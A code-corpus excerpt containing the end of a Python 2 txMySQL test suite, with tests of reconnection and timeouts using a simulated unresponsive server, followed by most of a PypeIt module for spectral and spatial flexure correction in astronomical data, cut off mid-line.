test_0211_stop_connect_query_start_retry_on_error_two_queries(self):\n \"\"\"\n 1. Connect, before MySQL is started\n 2. Start MySQL\n 3. Query - check result\n \"\"\"\n conn = self._connect_mysql(retry_on_error=True)\n d = conn.runQuery(\"select 2\")\n d2 = conn.runQuery(\"select 3\")\n yield self._start_mysql()\n result = yield d\n result2 = yield d2\n conn.disconnect()\n self.assertEquals(result, [[2]])\n self.assertEquals(result2, [[3]])\n\n @defer.inlineCallbacks\n def test_0300_start_idle_timeout(self):\n \"\"\"\n Connect, with evildaemon in place of MySQL\n Evildaemon stops in 5 seconds, which is longer than our idle timeout\n so the idle timeout should fire, disconnecting us.\n But because we have a query due, we reconnect and get the result.\n \"\"\"\n daemon_dfr = self._start_evildaemon(secs=10)\n conn = self._connect_mysql(idle_timeout=3, retry_on_error=True)\n d = conn.runQuery(\"select 2\")\n yield daemon_dfr\n yield self._start_mysql()\n result = yield d\n conn.disconnect()\n self.assertEquals(result, [[2]])\n\n @defer.inlineCallbacks\n def test_0400_start_connect_long_query_timeout(self):\n \"\"\"\n Connect to the real MySQL, run a long-running query which exceeds the\n idle timeout, check that it times out and returns the appropriate\n Failure object (because we haven't set retry_on_error)\n \"\"\"\n yield self._start_mysql()\n conn = self._connect_mysql(idle_timeout=3)\n try:\n result = yield conn.runQuery(\"select sleep(5)\")\n except Exception, e:\n print \"Caught exception %s\" % e\n self.assertTrue(isinstance(e, ConnectionDone))\n finally:\n conn.disconnect()\n \n @defer.inlineCallbacks\n def test_0500_retry_on_error(self):\n \"\"\"\n Start a couple of queries in parallel.\n Both of them should take 10 seconds, but restart the MySQL\n server after 5 seconds.\n Setting the connection and idle timeouts allows bad connections\n to fail.\n \"\"\"\n yield self._start_mysql()\n conn = self._connect_mysql(retry_on_error=True)\n d1 = conn.runQuery(\"select sleep(7)\")\n d2 = conn.runQuery(\"select sleep(7)\")\n yield sleep(2)\n yield self._stop_mysql()\n yield self._start_mysql()\n result = yield defer.DeferredList([d1, d2])\n conn.disconnect()\n self.assertEquals(result, [(True, [[0]]), (True, [[0]])])\n\n @defer.inlineCallbacks\n def test_0550_its_just_one_thing_after_another_with_you(self):\n \"\"\"\n Sanity check that you can do one thing and then another thing.\n \"\"\"\n yield self._start_mysql()\n conn = self._connect_mysql(retry_on_error=True)\n yield conn.runQuery(\"select 2\")\n yield conn.runQuery(\"select 2\")\n conn.disconnect()\n\n @defer.inlineCallbacks\n def test_0600_error_strings_test(self):\n \"\"\"\n This test causes MySQL to return what we consider a temporary local\n error. We do this by starting MySQL, querying a table, then physically\n removing MySQL's data files.\n\n This triggers MySQL to return a certain error code which we want to\n consider a temporary local error, which should result in a reconnection\n to MySQL.\n\n This is arguably the most application-specific behaviour in the txMySQL\n client library.\n\n \"\"\"\n res = yield AsyncExecCmds([\n \"\"\"sh -c '\n cd /var/lib/mysql/foo;\n chmod 0660 *;\n chown mysql:mysql *\n '\"\"\"], cmd_prefix=\"sudo \").getDeferred()\n yield self._start_mysql()\n conn = self._connect_mysql(retry_on_error=True,\n temporary_error_strings=[\n \"Can't find file: './foo/foo.frm' (errno: 13)\",\n ])\n yield conn.selectDb(\"foo\")\n yield conn.runOperation(\"create database if not exists foo\")\n yield conn.runOperation(\"create database if not exists foo\")\n yield conn.runOperation(\"drop table if exists foo\")\n yield conn.runOperation(\"create table foo (id int)\")\n yield conn.runOperation(\"insert into foo set id=1\")\n result = yield conn.runQuery(\"select * from foo\")\n self.assertEquals(result, [[1]])\n\n # Now the tricky bit, we have to force MySQL to yield the error message.\n res = yield AsyncExecCmds([\n \"\"\"sh -c '\n cd /var/lib/mysql/foo;\n chmod 0600 *;\n chown root:root *'\n \"\"\"], cmd_prefix=\"sudo \").getDeferred()\n print res\n \n yield conn.runOperation(\"flush tables\") # cause the files to get re-opened\n d = conn.runQuery(\"select * from foo\") # This will spin until we fix the files, so do that pronto\n yield sleep(1)\n res = yield AsyncExecCmds([\n \"\"\"sh -c '\n cd /var/lib/mysql/foo;\n chmod 0660 *;\n chown mysql:mysql *\n '\"\"\"], cmd_prefix=\"sudo \").getDeferred()\n print res\n result = yield d\n self.assertEquals(result, [[1]])\n conn.disconnect()\n \n # Utility functions:\n\n def _stop_mysql(self):\n return AsyncExecCmds(['stop mysql'], cmd_prefix='sudo ').getDeferred()\n \n def _start_mysql(self):\n return AsyncExecCmds(['start mysql'], cmd_prefix='sudo ').getDeferred()\n \n def _start_evildaemon(self, secs):\n \"\"\"\n Simulates a MySQL server which accepts connections but has mysteriously\n stopped returning responses at all, i.e. it's just /dev/null\n \"\"\"\n return AsyncExecCmds(['python ../test/evildaemon.py %s' % str(secs)], cmd_prefix='sudo ').getDeferred()\n \n def setUp(self):\n \"\"\"\n Stop MySQL before each test\n \"\"\"\n return self._stop_mysql()\n\n def tearDown(self):\n \"\"\"\n Stop MySQL before each test\n \"\"\"\n reactor.disconnectAll()\n\n def _connect_mysql(self, **kw):\n return client.MySQLConnection('127.0.0.1', 'root', secrets.MYSQL_ROOT_PASS, 'foo', **kw)\n", "source": "Dev0n/txMySQL", "license": "BSD-2-Clause-FreeBSD"} {"text": "\"\"\" Module for flexure routines\n\n.. include common links, assuming primary doc root is up one directory\n.. include:: ../include/links.rst\n\n\"\"\"\nimport inspect\n\nimport numpy as np\nimport copy\nfrom matplotlib import pyplot as plt\nfrom matplotlib import gridspec\n\nfrom astropy import stats\nfrom astropy import units\nimport scipy.signal\nimport scipy.optimize as opt\nfrom scipy import interpolate\n\nfrom linetools.spectra import xspectrum1d\n\nfrom pypeit import msgs\nfrom pypeit import utils\nfrom pypeit.display import display\nfrom pypeit.core import arc\nfrom pypeit.core import qa\nfrom pypeit.core import fitting\n\nfrom IPython import embed\n\n\ndef spat_flexure_shift(sciimg, slits, debug=False, maxlag=20):\n \"\"\"\n Calculate a rigid flexure shift in the spatial dimension\n between the slitmask and the science image.\n\n It is *important* to use original=True when defining the\n slitmask as everything should be relative to the initial slits\n\n Otherwise, the WaveTilts could get out of sync with science images\n\n Args:\n sciimg (`numpy.ndarray`_):\n slits (:class:`pypeit.slittrace.SlitTraceSet`):\n maxlag (:obj:`int`, optional):\n Maximum flexure searched for\n\n Returns:\n float: The spatial flexure shift relative to the initial slits\n\n \"\"\"\n # Mask -- Includes short slits and those excluded by the user (e.g. ['rdx']['slitspatnum'])\n slitmask = slits.slit_img(initial=True, exclude_flag=slits.bitmask.exclude_for_flexure)\n\n _sciimg = sciimg if slitmask.shape == sciimg.shape \\\n else arc.resize_mask2arc(slitmask.shape, sciimg) \n onslits = slitmask > -1\n corr_slits = onslits.astype(float).flatten()\n\n # Compute\n mean_sci, med_sci, stddev_sci = stats.sigma_clipped_stats(_sciimg[onslits])\n thresh = med_sci + 5.0*stddev_sci\n corr_sci = np.fmin(_sciimg.flatten(), thresh)\n\n lags, xcorr = utils.cross_correlate(corr_sci, corr_slits, maxlag)\n xcorr_denom = np.sqrt(np.sum(corr_sci*corr_sci)*np.sum(corr_slits*corr_slits))\n xcorr_norm = xcorr / xcorr_denom\n # TODO -- Generate a QA plot\n tampl_true, tampl, pix_max, twid, centerr, ww, arc_cont, nsig \\\n = arc.detect_lines(xcorr_norm, sigdetect=3.0, fit_frac_fwhm=1.5, fwhm=5.0,\n cont_frac_fwhm=1.0, cont_samp=30, nfind=1, debug=debug)\n # No peak? -- e.g. data fills the entire detector\n if len(tampl) == 0:\n msgs.warn('No peak found in spatial flexure. Assuming there is none..')\n if debug:\n embed(header='68 of flexure')\n return 0.\n\n # Find the peak\n xcorr_max = np.interp(pix_max, np.arange(lags.shape[0]), xcorr_norm)\n lag_max = np.interp(pix_max, np.arange(lags.shape[0]), lags)\n msgs.info('Spatial flexure measured: {}'.format(lag_max[0]))\n\n if debug:\n plt.figure(figsize=(14, 6))\n plt.plot(lags, xcorr_norm, color='black', drawstyle='steps-mid', lw=3, label='x-corr', linewidth=1.0)\n plt.plot(lag_max[0], xcorr_max[0], 'g+', markersize=6.0, label='peak')\n plt.title('Best shift = {:5.3f}'.format(lag_max[0]) + ', corr_max = {:5.3f}'.format(xcorr_max[0]))\n plt.legend()\n plt.show()\n\n #tslits_shift = trace_slits.shift_slits(tslits_dict, lag_max)\n # Now translate the tilts\n\n #slitmask_shift = pixels.tslits2mask(tslits_shift)\n #slitmask_shift = slits.slit_img(flexure=lag_max[0])\n if debug:\n # Now translate the slits in the tslits_dict\n all_left_flexure, all_right_flexure, mask = slits.select_edges(flexure=lag_max[0])\n gpm = mask == 0\n viewer, ch = display.show_image(_sciimg)\n #display.show_slits(viewer, ch, left_flexure[:,gpm], right_flexure)[:,gpm]#, slits.id) #, args.det)\n embed(header='83 of flexure.py')\n\n return lag_max[0]\n\n\n\ndef load_sky_spectrum(sky_file):\n \"\"\"\n Load a sky spectrum into an XSpectrum1D object\n\n ..todo -- Try to eliminate the XSpectrum1D dependancy\n\n Args:\n sky_file: str\n\n Returns:\n sky_spec: XSpectrum1D\n spectrum\n \"\"\"\n return xspectrum1d.XSpectrum1D.from_file(sky_file)\n\n\ndef spec_flex_shift(obj_skyspec, arx_skyspec, arx_lines, mxshft=20):\n \"\"\" Calculate shift between object sky spectrum and archive sky spectrum\n\n Args:\n obj_skyspec (:class:`linetools.spectra.xspectrum1d.XSpectrum1d`):\n Spectrum of the sky related to our object\n arx_skyspec (:class:`linetools.spectra.xspectrum1d.XSpectrum1d`):\n Archived sky spectrum\n arx_lines (tuple): Line information returned by arc.detect_lines for\n the Archived sky spectrum\n mxshft (float, optional):\n Maximum allowed shift from flexure; note there are cases that\n have been known to exceed even 30 pixels..\n\n Returns:\n dict: Contains flexure info\n \"\"\"\n\n # TODO None of these routines should have dependencies on XSpectrum1d!\n\n # Determine the brightest emission lines\n msgs.warn(\"If we use Paranal, cut down on wavelength early on\")\n arx_amp, arx_amp_cont, arx_cent, arx_wid, _, arx_w, arx_yprep, nsig \\\n = arx_lines\n obj_amp, obj_amp_cont, obj_cent, obj_wid, _, obj_w, obj_yprep, nsig_obj \\\n = arc.detect_lines(obj_skyspec.flux.value)\n\n # Keep only 5 brightest amplitude lines (xxx_keep is array of\n # indices within arx_w of the 5 brightest)\n arx_keep = np.argsort(arx_amp[arx_w])[-5:]\n obj_keep = np.argsort(obj_amp[obj_w])[-5:]\n\n # Calculate wavelength (Angstrom per pixel)\n arx_disp = np.append(arx_skyspec.wavelength.value[1]-arx_skyspec.wavelength.value[0],\n arx_skyspec.wavelength.value[1:]-arx_skyspec.wavelength.value[:-1])\n obj_disp = np.append(obj_skyspec.wavelength.value[1]-obj_skyspec.wavelength.value[0],\n obj_skyspec.wavelength.value[1:]-obj_skyspec.wavelength.value[:-1])\n\n # Calculate resolution (lambda/delta lambda_FWHM)..maybe don't need\n # this? can just use sigmas\n arx_idx = (arx_cent+0.5).astype(np.int)[arx_w][arx_keep] # The +0.5 is for rounding\n arx_res = arx_skyspec.wavelength.value[arx_idx]/\\\n (arx_disp[arx_idx]*(2*np.sqrt(2*np.log(2)))*arx_wid[arx_w][arx_keep])\n obj_idx = (obj_cent+0.5).astype(np.int)[obj_w][obj_keep] # The +0.5 is for rounding\n obj_res = obj_skyspec.wavelength.value[obj_idx]/ \\\n (obj_disp[obj_idx]*(2*np.sqrt(2*np.log(2)))*obj_wid[obj_w][obj_keep])\n\n if not np.all(np.isfinite(obj_res)):\n msgs.warn('Failed to measure the resolution of the object spectrum, likely due to error '\n 'in the wavelength image.')\n return None\n msgs.info(\"Resolution of Archive={0} and Observation={1}\".format(np.median(arx_res),\n np.median(obj_res)))\n\n # Determine sigma of gaussian for smoothing\n arx_sig2 = np.power(arx_disp[arx_idx]*arx_wid[arx_w][arx_keep], 2)\n obj_sig2 = np.power(obj_disp[obj_idx]*obj_wid[obj_w][obj_keep], 2)\n\n arx_med_sig2 = np.median(arx_sig2)\n obj_med_sig2 = np.median(obj_sig2)\n\n if obj_med_sig2 >= arx_med_sig2:\n smooth_sig = np.sqrt(obj_med_sig2-arx_med_sig2) # Ang\n smooth_sig_pix = smooth_sig / np.median(arx_disp[arx_idx])\n arx_skyspec = arx_skyspec.gauss_smooth(smooth_sig_pix*2*np.sqrt(2*np.log(2)))\n else:\n msgs.warn(\"Prefer archival sky spectrum to have higher resolution\")\n smooth_sig_pix = 0.\n msgs.warn(\"New Sky has higher resolution than Archive. Not smoothing\")\n #smooth_sig = np.sqrt(arx_med_sig**2-obj_med_sig**2)\n\n #Determine region of wavelength overlap\n min_wave = max(np.amin(arx_skyspec.wavelength.value), np.amin(obj_skyspec.wavelength.value))\n max_wave = min(np.amax(arx_skyspec.wavelength.value), np.amax(obj_skyspec.wavelength.value))\n\n #Smooth higher resolution spectrum by smooth_sig (flux is conserved!)\n# if np.median(obj_res) >= np.median(arx_res):\n# msgs.warn(\"New Sky has higher resolution than Archive. Not smoothing\")\n #obj_sky_newflux = ndimage.gaussian_filter(obj_sky.flux, smooth_sig)\n# else:\n #tmp = ndimage.gaussian_filter(arx_sky.flux, smooth_sig)\n# arx_skyspec = arx_skyspec.gauss_smooth(smooth_sig_pix*2*np.sqrt(2*np.log(2)))\n #arx_sky.flux = ndimage.gaussian_filter(arx_sky.flux, smooth_sig)\n\n # Define wavelengths of overlapping spectra\n keep_idx = np.where((obj_skyspec.wavelength.value>=min_wave) &\n (obj_skyspec.wavelength.value<=max_wave))[0]\n #keep_wave = [i for i in obj_sky.wavelength.value if i>=min_wave if i<=max_wave]\n\n #Rebin both spectra onto overlapped wavelength range\n if len(keep_idx) <= 50:\n msgs.warn(\"Not enough overlap between sky spectra\")\n return None\n\n # rebin onto object ALWAYS\n keep_wave = obj_skyspec.wavelength[keep_idx]\n arx_skyspec = arx_skyspec.rebin(keep_wave)\n obj_skyspec = obj_skyspec.rebin(keep_wave)\n # Trim edges (rebinning is junk there)\n arx_skyspec.data['flux'][0,:2] = 0.\n arx_skyspec.data['flux'][0,-2:] = 0.\n obj_skyspec.data['flux'][0,:2] = 0.\n obj_skyspec.data['flux'][0,-2:] = 0.\n\n # Set minimum to 0. For bad rebinning and for pernicious extractions\n obj_skyspec.data['flux'][0,:] = np.maximum(obj_skyspec.data['flux'][0,:], 0.)\n arx_skyspec.data['flux'][0,:] = np.maximum(arx_skyspec.data['flux'][0,:], 0.)\n\n # Normalize spectra to unit average sky count\n norm = np.sum(obj_skyspec.flux.value)/obj_skyspec.npix\n norm2 = np.sum(arx_skyspec.flux.value)/arx_skyspec.npix\n if norm <= 0:\n msgs.warn(\"Bad normalization of object in flexure algorithm\")\n msgs.warn(\"Will try the median\")\n norm = np.median(obj_skyspec.flux.value)\n if norm <= 0:\n msgs.warn(\"Improper sky spectrum for flexure. Is it too faint??\")\n return None\n if norm2 <= 0:\n msgs.warn('Bad normalization of archive in flexure. You are probably using wavelengths '\n 'well beyond the archive.')\n return None\n obj_skyspec.flux = obj_skyspec.flux / norm\n arx_skyspec.flux = arx_skyspec.flux / norm2\n\n # Deal with bad pixels\n msgs.work(\"Need to mask bad pixels\")\n\n # Deal with underlying continuum\n msgs.work(\"Consider taking median first [5 pixel]\")\n everyn = obj_skyspec.npix // 20\n pypeitFit_obj, _ = fitting.iterfit(obj_skyspec.wavelength.value, obj_skyspec.flux.value,\n nord = 3, kwargs_bspline={'everyn': everyn}, kwargs_reject={'groupbadpix':True,'maxrej':1},\n maxiter = 15, upper = 3.0, lower = 3.0)\n obj_sky_cont, _ = pypeitFit_obj.value(obj_skyspec.wavelength.value)\n\n obj_sky_flux = obj_skyspec.flux.value - obj_sky_cont\n pypeitFit_sky, _ = fitting.iterfit(arx_skyspec.wavelength.value, arx_skyspec.flux.value,\n nord = 3, kwargs_bspline={'everyn': everyn}, kwargs_reject={'groupbadpix':True,'maxrej':1},\n maxiter = 15, upper = 3.0, lower = 3.0)\n arx_sky_cont, _ = pypeitFit_sky.value(arx_skyspec.wavelength.value)\n arx_sky_flux = arx_skyspec.flux.value - arx_sky_cont\n\n # Consider sharpness filtering (e.g. LowRedux)\n msgs.work(\"Consider taking median first [5 pixel]\")\n\n #Cross correlation of spectra\n #corr = np.correlate(arx_skyspec.flux, obj_skyspec.flux, \"same\")\n corr = np.correlate(arx_sky_flux, obj_sky_flux, \"same\")\n\n #Create array around the max of the correlation function for fitting for subpixel max\n # Restrict to pixels within maxshift of zero lag\n lag0 = corr.size//2\n #mxshft = settings.argflag['reduce']['flexure']['maxshift']\n max_corr = np.argmax(corr[lag0-mxshft:lag0+mxshft]) + lag0-mxshft\n subpix_grid = np.linspace(max_corr-3., max_corr+3., 7)\n\n #Fit a 2-degree polynomial to peak of correlation function. JFH added this if/else to not crash for bad slits\n if np.any(np.isfinite(corr[subpix_grid.astype(np.int)])):\n fit = fitting.PypeItFit(xval=subpix_grid, yval=corr[subpix_grid.astype(np.int)],\n func='polynomial', order=np.atleast_1d(2))\n fit.fit()\n success = True\n max_fit = -0.5 * fit.fitc[1] / fit.fitc[2]\n else:\n fit = fitting.PypeItFit(xval=subpix_grid, yval=0.0*subpix_grid,\n func='polynomial', order=np.atleast_1d(2))\n fit.fit()\n success = False\n max_fit = 0.0\n msgs.warn('Flexure compensation failed for one of your objects')\n\n #Calculate and apply shift in wavelength\n shift = float(max_fit)-lag0\n msgs.info(\"Flexure correction of {:g} pixels\".format(shift))\n #model = (fit[2]*(subpix_grid**2.))+(fit[1]*subpix_grid)+fit[0]\n\n return dict(polyfit=fit, shift=shift, subpix=subpix_grid,\n corr=corr[subpix_grid.astype(np.int)], sky_spec=obj_skyspec, arx_spec=arx_skyspec,\n corr_cen=corr.size/2, smooth=smooth_sig_pix, success=success)\n\n\ndef flexure_interp(shift, wave):\n \"\"\"\n Perform interpolation on wave given a shift in pixels\n\n Args:\n shift (float):\n Shift in pixels\n wave (`numpy.ndarray`_):\n extracted wave of size nspec\n wavein (`numpy.ndarray`_, optional):\n Apply the shift to this array of wavelengths\n Returns:\n `numpy.ndarray`_: Wavelength scale corrected for spectral flexure\n\n \"\"\"\n npix = wave.size\n x = np.linspace(0., 1., npix)\n f = interpolate.interp1d(x, wave, bounds_error=False, fill_value=\"extrapolate\")\n twave = f(x + shift / (npix - 1))\n return twave\n\n\ndef spec_flexure_slit(slits, slitord, slit_bpm, sky_file, method=\"boxcar\", specobjs=None,\n slit_specs=None, mxshft=None):\n \"\"\"Calculate the spectral flexure for every slit (global) or object (local)\n\n Args:\n slits (:class:`~pypeit.slittrace.SlitTraceSet`):\n Slit trace set\n slitord (`numpy.ndarray`_):\n Array of slit/order numbers\n slit_bpm (`numpy.ndarray`_):\n True = masked slit\n sky_file (str):\n Sky file\n method (:obj:`str`, optional):\n Two methods are available:\n - 'boxcar': Recommended for object extractions. This\n method uses the boxcar extracted sky and wavelength\n spectra from the input specobjs\n - 'slitcen': Recommended when no objects are being\n extracted. This method uses a spectrum (stored in\n slitspecs) that is extracted from the center of\n each slit.\n specobjs (:class:`~pypeit.specobjs.Specobjs`, optional):\n Spectral extractions\n slit_specs (list, optional):\n A list of linetools.xspectrum1d, one for each slit. The spectra stored in\n this list are sky spectra, extracted from the center of each slit.\n mxshft (int, optional):\n Passed to flex_shift()\n\n Returns:\n :obj:`list`: A list of :obj:`dict` objects containing flexure\n results of each slit. This is filled with a basically empty\n dict if the slit is skipped.\n \"\"\"\n sv_fdict = None\n msgs.work(\"Consider doing 2 passes in flexure as in LowRedux\")\n\n # Determine the method\n slit_cen = True if (specobjs is None) or (method == \"slitcen\") else False\n\n # Load Archive. Save the line information to avoid the performance hit from calling it on the archive sky spectrum\n # multiple times\n sky_spectrum = load_sky_spectrum(sky_file)\n sky_lines = arc.detect_lines(sky_spectrum.flux.value)\n\n nslits = slits.nslits\n gpm = np.logical_not(slit_bpm)\n gdslits = np.where(gpm)[0]\n\n # Initialise the flexure list for each slit\n flex_list = []\n # Slit/objects to come back to\n return_later_sobjs = []\n\n # Loop over slits, and then over objects\n for islit in range(nslits):\n msgs.info(\"Working on spectral flexure of slit: {:d}\".format(islit))\n\n # Reset\n flex_dict = dict(polyfit=[], shift=[], subpix=[], corr=[],\n corr_cen=[], spec_file=sky_file, smooth=[],\n arx_spec=[], sky_spec=[], method=[])\n\n # If no objects on this slit append an empty dictionary\n if islit not in gdslits:\n flex_list.append(flex_dict.copy())\n continue\n\n if slit_cen:\n sky_wave = slit_specs[islit].wavelength.value\n sky_flux = slit_specs[islit].flux.value\n\n # Calculate the shift\n fdict = spec_flex_shift(slit_specs[islit], sky_spectrum, sky_lines, mxshft=mxshft)\n # Failed?\n if fdict is not None:\n # Update dict\n for key in ['polyfit', 'shift', 'subpix', 'corr', 'corr_cen', 'smooth', 'arx_spec']:\n flex_dict[key].append(fdict[key])\n # Interpolate\n sky_wave_new = flexure_interp(fdict['shift'], sky_wave)\n flex_dict['sky_spec'].append(xspectrum1d.XSpectrum1D.from_tuple((sky_wave_new, sky_flux)))\n flex_dict['method'].append(\"slitcen\")\n else:\n i_slitord = slitord[islit]\n indx = specobjs.slitorder_indices(i_slitord)\n this_specobjs = specobjs[indx]\n # Loop through objects\n for ss, sobj in enumerate(this_specobjs):\n if sobj is None:\n continue\n if sobj['BOX_WAVE'] is None: #len(specobj._data.keys()) == 1: # Nothing extracted; only the trace exists\n continue\n msgs.info(\"Working on flexure for object # {:d}\".format(sobj.OBJID) + \"in slit # {:d}\".format(islit))\n\n # Using boxcar\n sky_wave = sobj.BOX_WAVE\n sky_flux = sobj.BOX_COUNTS_SKY\n\n # Generate 1D spectrum for object\n obj_sky = xspectrum1d.XSpectrum1D.from_tuple((sky_wave, sky_flux))\n\n # Calculate the shift\n fdict = spec_flex_shift(obj_sky, sky_spectrum, sky_lines, mxshft=mxshft)\n punt = False\n if fdict is None:\n msgs.warn(\"Flexure shift calculation failed for this spectrum.\")\n if sv_fdict is not None:\n msgs.warn(\"Will used saved estimate from a previous slit/object\")\n fdict = copy.deepcopy(sv_fdict)\n else:\n # One does not exist yet\n # Save it for later\n return_later_sobjs.append([islit, ss])\n punt = True\n else:\n sv_fdict = copy.deepcopy(fdict)\n\n # Punt?\n if punt:\n break\n\n # Update dict\n for key in ['polyfit', 'shift', 'subpix', 'corr', 'corr_cen', 'smooth', 'arx_spec', 'sky_spec']:\n flex_dict[key].append(fdict[key])\n flex_dict['method'].append(\"boxcar\")\n\n # Check if we need to go back\n # TODO :: This code just throws an error... probably need to delete or fix this \"local\" spectral flexure code\n if not slit_cen:\n # Do we need to go back?\n for items in return_later_sobjs:\n if sv_fdict is None:\n msgs.info(\"No flexure corrections could be made\")\n break\n # Setup\n msgs.error(\"This probably needs to be updated\")\n slit, ss = items\n flex_dict = flex_list[slit]\n sobj = specobjs[ss]\n # Copy me\n fdict = copy.deepcopy(sv_fdict)\n # Update dict\n for key in ['polyfit', 'shift', 'subpix', 'corr', 'corr_cen', 'smooth', 'arx_spec', 'sky_spec']:\n flex_dict[key].append(fdict[key])\n flex_dict['method'].append(\"boxcar\")\n\n # Append, this will be an empty dictionary if the flexure failed\n flex_list.append(flex_dict.copy())\n\n return flex_list\n\n\ndef spec_flexure_corrQA(ax, this_flex_dict, cntr, name):\n # Fit\n fit = this_flex_dict['polyfit'][cntr]\n xval = np.linspace(-10., 10, 100) + this_flex_dict['corr_cen'][cntr] # + flex_dict['shift'][o]\n # model = (fit[2]*(xval**2.))+(fit[1]*xval)+fit[0]\n model = fit.eval(xval)\n # model = utils.func_val(fit, xval, 'polynomial')\n mxmod = np.max(model)\n ylim_min = np.min(model / mxmod) if np.isfinite(np.min(model / mxmod)) else 0.0\n ylim = [ylim_min, 1.3]\n ax.plot(xval - this_flex_dict['corr_cen'][cntr], model / mxmod, 'k-')\n # Measurements\n ax.scatter(this_flex_dict['subpix'][cntr] - this_flex_dict['corr_cen'][cntr],\n this_flex_dict['corr'][cntr] / mxmod, marker='o')\n # Final shift\n ax.plot([this_flex_dict['shift'][cntr]] * 2, ylim, 'g:')\n # Label\n ax.text(0.5, 0.25, name, transform=ax.transAxes, size='large', ha='center')\n ax.text(0.5, 0.15, 'flex_shift = {:g}'.format(this_flex_dict['shift'][cntr]),\n transform=ax.transAxes, size='large', ha='center') # , bbox={'facecolor':'white'})\n # Axes\n ax.set_ylim(ylim)\n ax.set_xlabel('Lag')\n\n\ndef spec_flexure_qa(slitords, bpm, basename, det, flex_list, specobjs=None, out_dir=None):\n \"\"\"\n\n Args:\n slitords (`numpy.ndarray`_):\n Array of slit/order numbers\n bpm (`numpy.ndarray`_):\n True = masked slit\n basename (str):\n det (int):\n flex_list (list):\n specobjs: (:class:`pypeit.specobjs.Specobjs`)\n Spectrally extracted objects\n out_dir:\n\n \"\"\"\n plt.rcdefaults()\n plt.rcParams['font.family'] = 'times new roman'\n\n # What type of QA are we doing\n slit_cen = False\n if specobjs is None: slit_cen = True\n\n # Grab the named of the method\n method = inspect.stack()[0][3]\n\n # Mask\n gdslits = np.where(np.invert(bpm))[0]\n\n # Loop over slits, and then over objects here\n for islit in gdslits:\n # Slit/order number\n slitord = slitords[islit]\n\n # Parse and Setup\n if slit_cen:\n nobj = 1\n ncol = 1\n else:\n indx = specobjs.slitorder_indices(slitord)\n this_specobjs = specobjs[indx]\n nobj = np.sum(indx)\n if nobj == 0:\n continue\n ncol = min(3, nobj)\n this_flex_dict = flex_list[islit]\n\n # Check that the default was overwritten\n if len(this_flex_dict['shift']) == 0:\n continue\n\n nrow = nobj // ncol + ((nobj % ncol) > 0)\n # Outfile, one QA file per slit\n outfile = qa.set_qa_filename(basename, method + '_corr', det=det, slit=slitord, out_dir=out_dir)\n plt.figure(figsize=(8, 5.0))\n plt.clf()\n gs = gridspec.GridSpec(nrow, ncol)\n # TODO -- This cntr is crummy and needs to be replaced by a DataContainer\n # for flex_dict and flex_list\n cntr = 0\n # Correlation QA\n if slit_cen:\n ax = plt.subplot(gs[0, 0])\n spec_flexure_corrQA(ax, this_flex_dict, cntr, 'Slit Center')\n else:\n for specobj in this_specobjs:\n if specobj is None or (specobj.BOX_WAVE is None and specobj.OPT_WAVE is None):\n continue\n ax = plt.subplot(gs[cntr//ncol, cntr % ncol])\n spec_flexure_corrQA(ax, this_flex_dict, cntr, '{:s}'.format(specobj.NAME))\n cntr += 1\n # Finish\n plt.tight_layout(pad=0.2, h_pad=0.0, w_pad=0.0)\n plt.savefig(outfile, dpi=400)\n plt.close()\n\n # Sky line QA (just one object)\n if slit_cen:\n iobj = 0\n else:\n iobj = 0\n specobj = this_specobjs[iobj]\n\n # Repackage\n sky_spec = this_flex_dict['sky_spec'][iobj]\n arx_spec = this_flex_dict['arx_spec'][iobj]\n min_wave = max(np.amin(arx_spec.wavelength.value), np.amin(sky_spec.wavelength.value))*units.AA\n max_wave = min(np.amax(arx_spec.wavelength.value), np.amax(sky_spec.wavelength.value))*units.AA\n\n # Sky lines\n sky_lines = np.array([3370.0, 3914.0, 4046.56, 4358.34, 5577.338, 6300.304,\n 7340.885, 7993.332, 8430.174, 8919.610, 9439.660,\n 10013.99, 10372.88])*units.AA\n dwv = 20.*units.AA\n gdsky = np.where((sky_lines > min_wave) & (sky_lines < max_wave))[0]\n if len(gdsky) == 0:\n msgs.warn(\"No sky lines for Flexure QA\")\n continue\n if len(gdsky) > 6:\n idx = np.array([0, 1, len(gdsky)//2, len(gdsky)//2+1, -2, -1])\n gdsky = gdsky[idx]\n\n # Outfile\n outfile = qa.set_qa_filename(basename, method+'_sky', det=det, slit=slitord, out_dir=out_dir)\n # Figure\n plt.figure(figsize=(8, 5.0))\n plt.clf()\n nrow, ncol = 2, 3\n gs = gridspec.GridSpec(nrow, ncol)\n if slit_cen:\n plt.suptitle('Sky Comparison for Slit Center', y=1.05)\n else:\n plt.suptitle('Sky Comparison for {:s}'.format(specobj.NAME), y=1.05)\n\n for ii, igdsky in enumerate(gdsky):\n skyline = sky_lines[igdsky]\n ax = plt.subplot(gs[ii//ncol, ii % ncol])\n # Norm\n pix1 = np.where(np.abs(sky_spec.wavelength-skyline) < dwv)[0]\n pix2 = np.where(np.abs(arx_spec.wavelength-skyline) < dwv)[0]\n f1 = np.sum(sky_spec.flux[pix1])\n f2 = np.sum(arx_spec.flux[pix2])\n norm = f1/f2\n # Plot\n ax.plot(sky_spec.wavelength[pix1], sky_spec.flux[pix1], 'k-', label='Obj',\n drawstyle='steps-mid')\n ax.plot(arx_spec.wavelength[pix2], arx_spec.flux[pix2]*norm, 'r-', label='Arx',\n drawstyle='steps-mid')\n # Axes\n ax.xaxis.set_major_locator(plt.MultipleLocator(dwv.value))\n ax.set_xlabel('Wavelength')\n ax.set_ylabel('Counts')\n\n # Legend\n plt.legend(loc='upper left', scatterpoints=1, borderpad=0.3,\n handletextpad=0.3, fontsize='small', numpoints=1)\n\n # Finish\n plt.savefig(outfile, dpi=400)\n plt.close()\n msgs.info(\"Wrote spectral flexure QA: {}\".format(outfile))\n #plt.close()\n\n plt.rcdefaults()\n\n\ndef calculate_image_offset(image, im_ref, nfit=3):\n \"\"\"Calculate the x,y offset between two images\n\n Args:\n image (`numpy.ndarray`_):\n Image that we want to measure the shift of (relative to im_ref)\n im_ref (`numpy.ndarray`_):\n Reference image\n nfit (int, optional):\n Number of pixels (left and right of the maximum) to include in\n fitting the peak of the cross correlation.\n\n Returns:\n ra_diff (float):\n Relative shift (in pixels) of image relative to im_ref (x direction).\n In order to align image with im_ref, ra_diff should be added to the\n x-coordinates of image\n dec_diff (float):\n Relative shift (in pixels) of image relative to im_ref (y direction).\n In order to align image with im_ref, dec_diff should be added to the\n y-coordinates of image\n \"\"\"\n # Subtract median (should be close to zero, anyway)\n image -= np.median(image)\n im_ref -= np.median(im_ref)\n\n # cross correlate (note, convolving seems faster)\n ccorr = scipy.signal.correlate2d(im_ref, image, boundary='fill', mode='same')\n #ccorr = 